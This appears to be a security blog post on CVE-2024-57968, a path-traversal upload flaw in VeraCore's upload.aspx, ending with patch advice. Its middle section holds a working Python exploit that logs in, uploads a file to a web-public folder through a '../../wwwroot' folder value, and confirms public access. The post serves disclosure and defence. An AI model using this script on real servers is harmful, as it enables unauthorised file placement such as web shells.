Advantive VeraCore is popular warehouse and fulfillment management software. Unfortunately, a dangerous vulnerability (CVE-2024-57968) was found in versions before 2024.4.2.1, where an authenticated user can upload files to unintended folders on the server—some of which could be publicly accessible over the web. In this post, we'll dig deep into how this flaw works, share code snippets, real-world implications, links to references, and a simple demonstration exploit.

What is CVE-2024-57968?

This vulnerability affects VeraCore (all versions before 2024.4.2.1).
Problem: If you’re logged into the management interface, you can use the upload.aspx endpoint to upload files anywhere—not just to your own folders. That means files can get placed in browsable web-accessible directories, and anyone can open them.

Original Advisory

- NVD CVE-2024-57968 Page
- VeraCore Changelog

Why Is This a Problem?

- Information Disclosure: Uploaded files (docs, code, backups, etc.) could be browsed and downloaded by anyone who finds the URL.
- Malware Upload: Someone could upload a web shell or malicious scripts if the server serves files directly.

Endpoint in Focus: upload.aspx

Purpose: This page is supposed to let logged-in users upload legitimate files (such as documents or import data)
Flaw: It doesn’t enforce restrictions on where files are stored.

Attack Walkthrough

Let’s break down how an attacker could abuse this.

Step 1: Log in with normal credentials.

- Step 2: Send a POST request to /upload.aspx with a crafted folder parameter pointing somewhere dangerous (like a public web folder).

Step 3: The server lets you upload the file to that path.

- Step 4: The file is now live under a web-accessible folder. Anyone can get it with the right URL.

Example Exploit Code (Python)

import requests

# Replace these variables with your server details
base_url = "https://victim.com";
login_url = base_url + "/login.aspx"
upload_url = base_url + "/upload.aspx"
username = "validuser"
password = "validpassword"

# Start a session to keep cookies
session = requests.Session()

# 1. Log in to get cookies/session
login_data = {
    "username": username,
    "password": password,
}
rsp = session.post(login_url, data=login_data)
if "Logout" not in rsp.text:
    print("Login failed!")
    exit(1)

print("[+] Logged In")

# 2. Craft dangerous folder path (ex: public web folder)
payload_file = {
    "file": ("malware_test.txt", b"This is a test - uploaded by exploit", "text/plain")
}
upload_data = {
    "folder": "../../wwwroot/public_uploads"  # Traversal or direct path as accepted
}

# 3. Upload file
upl_rsp = session.post(upload_url, data=upload_data, files=payload_file)
if upl_rsp.status_code == 200:
    print("[+] File uploaded!")
else:
    print("[-] Upload failed")

# 4. Calculate & check public URL
public_url = base_url + "/public_uploads/malware_test.txt"
check_rsp = requests.get(public_url)
if check_rsp.status_code == 200:
    print(f"[!] Exploit success. File is public at: {public_url}")
else:
    print("[-] File seems missing or not public")

Protection & Patch

Fixed in: VeraCore 2024.4.2.1
If you run VeraCore, update immediately. The patch blocks arbitrary folder selection and enforces upload directories.

Internal Threats: Staff with accounts can plant malicious or shady files on the public site.

- External Attackers: With stolen or weak credentials, outsiders easily exfiltrate sensitive data or plant malware.

Wrap-up

CVE-2024-57968 is a textbook example of why file uploads need tight restrictions. If you use VeraCore, patch now, and check for exposed folders. Want help auditing your upload security? Reach out—your data’s worth it!
